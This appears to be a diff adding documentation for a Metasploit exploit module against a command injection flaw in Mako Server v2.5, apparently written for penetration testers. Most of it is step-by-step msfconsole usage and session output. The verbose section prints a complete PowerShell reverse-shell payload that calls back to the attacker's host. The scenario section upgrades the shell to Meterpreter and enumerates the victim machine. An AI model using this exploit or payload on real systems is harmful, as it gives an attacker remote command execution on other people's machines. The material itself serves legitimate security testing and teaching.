|
| 1 | +## Description |
| 2 | + |
| 3 | + This module exploits a vulnerability found in Mako Server v2.5. |
| 4 | + It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp. |
| 5 | + |
| 6 | + Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391 |
| 7 | + |
| 8 | +## Vulnerable Application |
| 9 | + |
| 10 | + [Mako Server](https://makoserver.net) is an application framework for designing web and IoT applications. |
| 11 | + |
| 12 | + This module has been verified against the following Mako Server versions for Windows XP SP3 and Windows 7 SP1 (x86/x64): |
| 13 | + - v2.5 |
| 14 | + |
| 15 | + Links: |
| 16 | + - [Windows installer](https://makoserver.net/download/mako.windows.x86.exe) |
| 17 | + - [Windows download page](https://makoserver.net/download/windows) |
| 18 | + - [Documentation](https://makoserver.net/documentation/manual/) |
| 19 | + |
| 20 | +## References for vulnerability |
| 21 | + - https://blogs.securiteam.com/index.php/archives/3391 |
| 22 | + - https://www.exploit-db.com/exploits/42683 |
| 23 | + |
| 24 | +## Verification Steps |
| 25 | + |
| 26 | + 1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work) |
| 27 | + 2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop |
| 28 | + 3. Start msfconsole on host |
| 29 | + 4. Do: ```use exploit/windows/http/makoserver_cmd_exec``` |
| 30 | + 5. Do: ```set RHOST <IP address of target system>``` |
| 31 | + 6. Do: ```set PAYLOAD cmd/windows/reverse_powershell``` |
| 32 | + 7. Do: ```set LHOST <IP address of host system>``` |
| 33 | + 8. Do: ```exploit``` |
| 34 | + 9. You should get a Windows command shell |
| 35 | + |
| 36 | +## Example Output |
| 37 | +``` |
| 38 | +msf > use exploit/windows/http/makoserver_cmd_exec |
| 39 | +msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3 |
| 40 | +RHOST => 10.10.10.3 |
| 41 | +msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell |
| 42 | +PAYLOAD => cmd/windows/reverse_powershell |
| 43 | +msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2 |
| 44 | +LHOST => 10.10.10.2 |
| 45 | +msf exploit(makoserver_cmd_exec) > exploit |
| 46 | +
|
| 47 | +[*] Started reverse TCP handler on 10.10.10.2:4444 |
| 48 | +[*] Sending payload to target... |
| 49 | +[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49175) at 2017-10-26 21:23:59 -0400 |
| 50 | +
|
| 51 | +Microsoft Windows |
| 52 | +Copyright (c) 2009 Microsoft Corporation. All rights reserved. |
| 53 | +
|
| 54 | +C:\Users\Smith\Downloads\MakoServer> |
| 55 | +
|
| 56 | +``` |
| 57 | + |
| 58 | +## Example Verbose Output |
| 59 | +``` |
| 60 | +msf > use exploit/windows/http/makoserver_cmd_exec |
| 61 | +msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3 |
| 62 | +RHOST => 10.10.10.3 |
| 63 | +msf exploit(makoserver_cmd_exec) > set VERBOSE true |
| 64 | +VERBOSE => true |
| 65 | +msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell |
| 66 | +PAYLOAD => cmd/windows/reverse_powershell |
| 67 | +msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2 |
| 68 | +LHOST => 10.10.10.2 |
| 69 | +msf exploit(makoserver_cmd_exec) > check |
| 70 | +
|
| 71 | +[*] Trying to detect running Mako Server and necessary files... |
| 72 | +[*] Mako Server save.lsp returns correct ouput. |
| 73 | +[*] 10.10.10.3:80 The target appears to be vulnerable. |
| 74 | +msf exploit(makoserver_cmd_exec) > exploit |
| 75 | +
|
| 76 | +[*] Started reverse TCP handler on 10.10.10.2:4444 |
| 77 | +[*] Sending payload to target... |
| 78 | +[*] Now executing the following command: os.execute([[powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.10.10.2';$p='4444';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};]]) |
| 79 | +[*] Sending PUT request to save.lsp... |
| 80 | +[*] Sending GET request to manage.lsp... |
| 81 | +[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49174) at 2017-10-26 21:21:08 -0400 |
| 82 | +
|
| 83 | +Microsoft Windows |
| 84 | +Copyright (c) 2009 Microsoft Corporation. All rights reserved. |
| 85 | +
|
| 86 | +C:\Users\Smith\Downloads\MakoServer> |
| 87 | +
|
| 88 | +``` |
| 89 | + |
| 90 | +## Scenarios |
| 91 | + |
| 92 | +### Targeting Windows 7 SP1 x64 running Mako Server v2.5 |
| 93 | + |
| 94 | + A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session: |
| 95 | + |
| 96 | + ``` |
| 97 | + msf > use exploit/windows/http/makoserver_cmd_exec |
| 98 | + msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2 |
| 99 | + RHOST => 10.10.10.2 |
| 100 | + msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell |
| 101 | + PAYLOAD => cmd/windows/reverse_powershell |
| 102 | + msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4 |
| 103 | + LHOST => 10.10.10.4 |
| 104 | + msf exploit(makoserver_cmd_exec) > check |
| 105 | + [*] 10.10.10.2:80 The target appears to be vulnerable. |
| 106 | + msf exploit(makoserver_cmd_exec) > exploit |
| 107 | +
|
| 108 | + [*] Started reverse TCP handler on 10.10.10.4:4444 |
| 109 | + [*] Sending payload to target... |
| 110 | + [*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:49189) at 2017-10-25 20:57:56 -0400 |
| 111 | +
|
| 112 | + Microsoft Windows |
| 113 | + Copyright (c) Microsoft Corporation. All rights reserved. |
| 114 | +
|
| 115 | + C:\Users\Smith\Downloads\MakoServer>^Z |
| 116 | + Background session 1? [y/N] y |
| 117 | + msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter |
| 118 | + msf post(shell_to_meterpreter) > sessions -l |
| 119 | +
|
| 120 | + Active sessions |
| 121 | + =============== |
| 122 | +
|
| 123 | + Id Name Type Information Connection |
| 124 | + -- ---- ---- ----------- ---------- |
| 125 | + 1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2) |
| 126 | + msf post(shell_to_meterpreter) > set SESSION 1 |
| 127 | + SESSION => 1 |
| 128 | + msf post(shell_to_meterpreter) > set LPORT 8080 |
| 129 | + LPORT => 8080 |
| 130 | + msf post(shell_to_meterpreter) > exploit |
| 131 | +
|
| 132 | + [*] Upgrading session ID: 1 |
| 133 | + [*] Starting exploit/multi/handler |
| 134 | + [*] Started reverse TCP handler on 10.10.10.4:8080 |
| 135 | + [-] Powershell is not installed on the target. |
| 136 | + [*] Command stager progress: 1.66% (1699/102108 bytes) |
| 137 | + ... |
| 138 | + [*] Command stager progress: 100.00% (102108/102108 bytes) |
| 139 | + [*] Post module execution completed |
| 140 | + msf post(shell_to_meterpreter) > sessions -l |
| 141 | +
|
| 142 | + Active sessions |
| 143 | + =============== |
| 144 | +
|
| 145 | + Id Name Type Information Connection |
| 146 | + -- ---- ---- ----------- ---------- |
| 147 | + 1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2) |
| 148 | + 2 meterpreter x86/windows smith-PC\smith @ SMITH-PC 10.10.10.4:8080 -> 10.10.10.2:49190 (10.10.10.2) |
| 149 | +
|
| 150 | + msf post(shell_to_meterpreter) > sessions -i 2 |
| 151 | + [*] Starting interaction with 2... |
| 152 | +
|
| 153 | + meterpreter > getuid |
| 154 | + Server username: smith-PC\smith |
| 155 | + meterpreter > sysinfo |
| 156 | + Computer : SMITH-PC |
| 157 | + OS : Windows 7 (Build 7601, Service Pack 1). |
| 158 | + Architecture : x64 |
| 159 | + System Language : en_US |
| 160 | + Domain : WORKGROUP |
| 161 | + Logged On Users : 2 |
| 162 | + Meterpreter : x86/windows |
| 163 | + ``` |
0 commit comments